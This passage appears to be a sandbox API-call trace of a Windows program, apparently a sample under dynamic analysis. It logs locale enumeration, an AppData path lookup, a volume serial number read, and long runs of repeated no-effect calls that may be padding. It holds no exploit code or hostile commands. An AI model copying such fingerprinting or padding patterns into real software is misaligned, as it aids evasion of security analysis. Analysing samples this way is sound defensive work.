GetLastError () returned 0x0 [0025.123] GetLocaleInfoA (in: Locale=0x1801, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.123] GetLastError () returned 0x0 [0025.123] GetLocaleInfoA (in: Locale=0x1809, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.123] GetLastError () returned 0x0 [0025.123] GetLocaleInfoA (in: Locale=0x180a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.124] GetLastError () returned 0x0 [0025.124] GetLocaleInfoA (in: Locale=0x180c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="French") returned 7 [0025.124] GetLastError () returned 0x0 [0025.124] GetLocaleInfoA (in: Locale=0x181a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Serbian (Latin)") returned 16 [0025.124] GetLastError () returned 0x0 [0025.124] GetLocaleInfoA (in: Locale=0x183b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sami (Southern)") returned 16 [0025.124] GetLastError () returned 0x0 [0025.124] GetLocaleInfoA (in: Locale=0x1c01, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.125] GetLastError () returned 0x0 [0025.125] GetLocaleInfoA (in: Locale=0x1c09, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.125] GetLastError () returned 0x0 [0025.125] GetLocaleInfoA (in: Locale=0x1c0a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.125] GetLastError () returned 0x0 [0025.125] GetLocaleInfoA (in: Locale=0x1c1a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Serbian (Cyrillic)") returned 19 [0025.125] GetLastError () returned 0x0 [0025.126] GetLocaleInfoA (in: Locale=0x1c3b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sami (Southern)") returned 16 [0025.126] GetLastError () returned 0x0 [0025.126] GetLocaleInfoA (in: Locale=0x2001, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.126] GetLastError () returned 0x0 [0025.126] GetLocaleInfoA (in: Locale=0x2009, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.126] GetLastError () returned 0x0 [0025.126] GetLocaleInfoA (in: Locale=0x200a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.127] GetLastError () returned 0x0 [0025.127] GetLocaleInfoA (in: Locale=0x201a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Bosnian (Cyrillic)") returned 19 [0025.127] GetLastError () returned 0x0 [0025.127] GetLocaleInfoA (in: Locale=0x203b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sami (Skolt)") returned 13 [0025.127] GetLastError () returned 0x0 [0025.127] GetLocaleInfoA (in: Locale=0x2401, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.127] GetLastError () returned 0x0 [0025.127] GetLocaleInfoA (in: Locale=0x2409, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.128] GetLastError () returned 0x0 [0025.128] GetLocaleInfoA (in: Locale=0x240a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.128] GetLastError () returned 0x0 [0025.128] GetLocaleInfoA (in: Locale=0x241a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Serbian (Latin)") returned 16 [0025.128] GetLastError () returned 0x0 [0025.128] GetLocaleInfoA (in: Locale=0x243b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sami (Inari)") returned 13 [0025.128] GetLastError () returned 0x0 [0025.128] GetLocaleInfoA (in: Locale=0x2801, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.129] GetLastError () returned 0x0 [0025.129] GetLocaleInfoA (in: Locale=0x2809, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.129] GetLastError () returned 0x0 [0025.129] GetLocaleInfoA (in: Locale=0x280a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.129] GetLastError () returned 0x0 [0025.129] GetLocaleInfoA (in: Locale=0x281a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Serbian (Cyrillic)") returned 19 [0025.129] GetLastError () returned 0x0 [0025.130] GetLocaleInfoA (in: Locale=0x2c01, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.130] GetLastError () returned 0x0 [0025.130] GetLocaleInfoA (in: Locale=0x2c09, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.130] GetLastError () returned 0x0 [0025.130] GetLocaleInfoA (in: Locale=0x2c0a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.130] GetLastError () returned 0x0 [0025.130] GetLocaleInfoA (in: Locale=0x2c1a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Serbian (Latin)") returned 16 [0025.131] GetLastError () returned 0x0 [0025.131] GetLocaleInfoA (in: Locale=0x3001, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.131] GetLastError () returned 0x0 [0025.131] GetLocaleInfoA (in: Locale=0x3009, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.131] GetLastError () returned 0x0 [0025.131] GetLocaleInfoA (in: Locale=0x300a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.131] GetLastError () returned 0x0 [0025.131] GetLocaleInfoA (in: Locale=0x301a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Serbian (Cyrillic)") returned 19 [0025.132] GetLastError () returned 0x0 [0025.132] GetLocaleInfoA (in: Locale=0x3401, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.132] GetLastError () returned 0x0 [0025.132] GetLocaleInfoA (in: Locale=0x3409, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.132] GetLastError () returned 0x0 [0025.132] GetLocaleInfoA (in: Locale=0x340a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.132] GetLastError () returned 0x0 [0025.132] GetLocaleInfoA (in: Locale=0x3801, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.133] GetLastError () returned 0x0 [0025.133] GetLocaleInfoA (in: Locale=0x380a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.133] GetLastError () returned 0x0 [0025.133] GetLocaleInfoA (in: Locale=0x3c01, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.133] GetLastError () returned 0x0 [0025.133] GetLocaleInfoA (in: Locale=0x3c0a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.134] GetLastError () returned 0x0 [0025.134] GetLocaleInfoA (in: Locale=0x4001, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.134] GetLastError () returned 0x0 [0025.134] GetLocaleInfoA (in: Locale=0x4009, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.134] GetLastError () returned 0x0 [0025.134] GetLocaleInfoA (in: Locale=0x400a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.134] GetLastError () returned 0x0 [0025.134] GetLocaleInfoA (in: Locale=0x4409, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.135] GetLastError () returned 0x0 [0025.135] GetLocaleInfoA (in: Locale=0x440a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.135] GetLastError () returned 0x0 [0025.135] GetLocaleInfoA (in: Locale=0x4809, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.135] GetLastError () returned 0x0 [0025.135] GetLocaleInfoA (in: Locale=0x480a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.135] GetLastError () returned 0x0 [0025.135] GetLocaleInfoA (in: Locale=0x4c0a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.136] GetLastError () returned 0x0 [0025.136] GetLocaleInfoA (in: Locale=0x500a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.136] GetLastError () returned 0x0 [0025.136] GetLocaleInfoA (in: Locale=0x540a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.141] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202fcb8 | out: hHeap=0x2020000) returned 1 [0025.141] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021510 | out: hHeap=0x2020000) returned 1 [0025.142] FindFirstFileA (in: lpFileName="", lpFindFileData=0x18e40c | out: lpFindFileData=0x18e40c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xdc, ftCreationTime.dwHighDateTime=0xa0008, ftLastAccessTime.dwLowDateTime=0x7716a840, ftLastAccessTime.dwHighDateTime=0x18e700, ftLastWriteTime.dwLowDateTime=0x350070, ftLastWriteTime.dwHighDateTime=0x3a0043, nFileSizeHigh=0x57005c, nFileSizeLow=0x6e0069, dwReserved0=0x6f0064, dwReserved1=0x730077, cFileName="\\", cAlternateFileName="")) returned 0xffffffff [0025.142] GetLastError () returned 0x3 [0025.142] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="ttt") returned 0x190 [0025.142] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x24704e0 [0025.142] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2470500 [0025.142] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2470520 [0025.142] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2470540 [0025.142] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2470500 | out: hHeap=0x2020000) returned 1 [0025.142] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2470540 | out: hHeap=0x2020000) returned 1 [0025.142] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2470520 | out: hHeap=0x2020000) returned 1 [0025.143] FtpSetCurrentDirectoryA (hConnect=0x57ffb8, lpszDirectory=0x0) returned 0 [0025.143] FtpSetCurrentDirectoryA (hConnect=0x57ffb8, lpszDirectory=0x0) returned 0 [0025.143] FtpSetCurrentDirectoryA (hConnect=0x57ffb8, lpszDirectory=0x0) returned 0 [0025.143] FtpSetCurrentDirectoryA (hConnect=0x57ffb8, lpszDirectory=0x0) returned 0 [0025.143] FtpSetCurrentDirectoryA (hConnect=0x57ffb8, lpszDirectory=0x0) returned 0 [0025.143] GetCursorPos (in: lpPoint=0x18d17c | out: lpPoint=0x18d17c*(x=789, y=459)) returned 1 [0025.143] GetCursorPos (in: lpPoint=0x18d184 | out: lpPoint=0x18d184*(x=789, y=459)) returned 1 [0025.143] GetKeyState (nVirtKey=16) returned 0 [0025.143] SetFocus (hWnd=0x0) returned 0x0 [0025.143] wsprintfA (in: param_1=0x18d104, param_2="ID GUID" | out: param_1="ID GUID") returned 7 [0025.143] SetConsoleTitleA (lpConsoleTitle="ID GUID") returned 0 [0025.144] GetTextCharsetInfo (in: hdc=0x0, lpSig=0x18d0ec, dwFlags=0x0 | out: lpSig=0x18d0ec) returned 1 [0025.144] LoadImageA (hInst=0x400000, name=0x0, type=0x0, cx=0, cy=0, fuLoad=0x0) returned 0x0 [0025.144] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xbb3) returned 0x102 [0028.131] SendMessageA (hWnd=0x0, Msg=0x143, wParam=0x0, lParam=0x18d0cc) returned 0x0 [0028.131] GetCursorPos (in: lpPoint=0x18d184 | out: lpPoint=0x18d184*(x=789, y=459)) returned 1 [0028.131] GetKeyState (nVirtKey=16) returned 0 [0028.131] SetFocus (hWnd=0x0) returned 0x0 [0028.131] wsprintfA (in: param_1=0x18d104, param_2="ID GUID" | out: param_1="ID GUID") returned 7 [0028.132] SetConsoleTitleA (lpConsoleTitle="ID GUID") returned 0 [0028.132] GetTextCharsetInfo (in: hdc=0x0, lpSig=0x18d0ec, dwFlags=0x0 | out: lpSig=0x18d0ec) returned 1 [0028.132] LoadImageA (hInst=0x400000, name=0x0, type=0x0, cx=0, cy=0, fuLoad=0x0) returned 0x0 [0028.132] CreateWindowExA (dwExStyle=0x100, lpClassName="LISTBOX", lpWindowName="", dwStyle=0x50a00003, X=0, Y=40, nWidth=-20, nHeight=-50, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x0) returned 0x0 [0028.132] SendMessageA (hWnd=0x0, Msg=0x188, wParam=0x0, lParam=0x0) returned 0x0 [0028.132] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.132] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.132] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.132] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.132] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.135] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.135] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.135] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.136] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.138] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.139] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.140] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.141] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.143] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.145] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.147] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.148] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.149] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.150] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.152] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.152] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.152] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.152] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.153] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.154] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.154] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.156] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.170] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.170] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.170] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.171] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.171] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.172] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.174] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] SetTextColor (hdc=0x0, color=0xff0000) returned 0xffffffff [0028.175] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x24704e0 | out: hHeap=0x2020000) returned 1 [0028.175] GetLastError () returned 0x6 [0028.176] GetSystemDirectoryW (in: lpBuffer=0x18ce84, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0028.176] RasDeleteSubEntryA (pszPhonebook=0x0, pszEntry=0x0, dwSubentryId=0x0) returned 0x57 [0028.359] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x18cd54 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0028.455] SCardGetProviderIdW (in: hContext=0x0, szCard=0x0, pguidProviderId=0x18d0ac | out: pguidProviderId=0x18d0ac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned -2146435067 [0028.495] GetLastError () returned 0xb7 [0028.495] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18d0a8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18d0a8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0028.496] GetLastError () returned 0xb7 [0028.496] CreateCompatibleDC (hdc=0x77a) returned 0x0 [0028.496] SelectObject (hdc=0x0, h=0x77a) returned 0x0 [0028.496] AlphaBlend () returned 0x0 [0028.498] DeleteDC (hdc=0x0) returned 0 [0028.498] DeleteObject (ho=0x77a) returned 0 [0028.498] LoadBitmapA (hInstance=0x0, lpBitmapName=0x4) returned 0x0 [0028.499] GetObjectA (in: h=0x0, c=24, pv=0x18fd30 | out: pv=0x18fd30) returned 0 [0028.499] GetWindow (hWnd=0x0, uCmd=0x5) returned 0x0 [0028.499] GetClassNameW (in: hWnd=0x0, lpClassName=0x18fc84, nMaxCount=49 | out: lpClassName="￾￿痑P뮭@ﲜ\x18") returned 0 [0028.499] lstrcmpiW (lpString1="￾￿痑P뮭@ﲜ\x18", lpString2="Static") returned 1 [0028.500] lstrcmpiW (lpString1="￾￿痑P뮭@ﲜ\x18", lpString2="Button") returned 1 [0028.500] GetWindow (hWnd=0x0, uCmd=0x0) returned 0x0 [0028.500] SetMenu (hWnd=0x0, hMenu=0x1) returned 0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.500] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.500] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] GetDlgItem (hDlg=0x0, nIDDlgItem=3) returned 0x0 [0028.501] IsDlgButtonChecked (hDlg=0x0, nIDButton=1) returned 0x0 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.501] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA (penv=0x0) returned 1 [0028.502] FreeEnvironmentStringsA 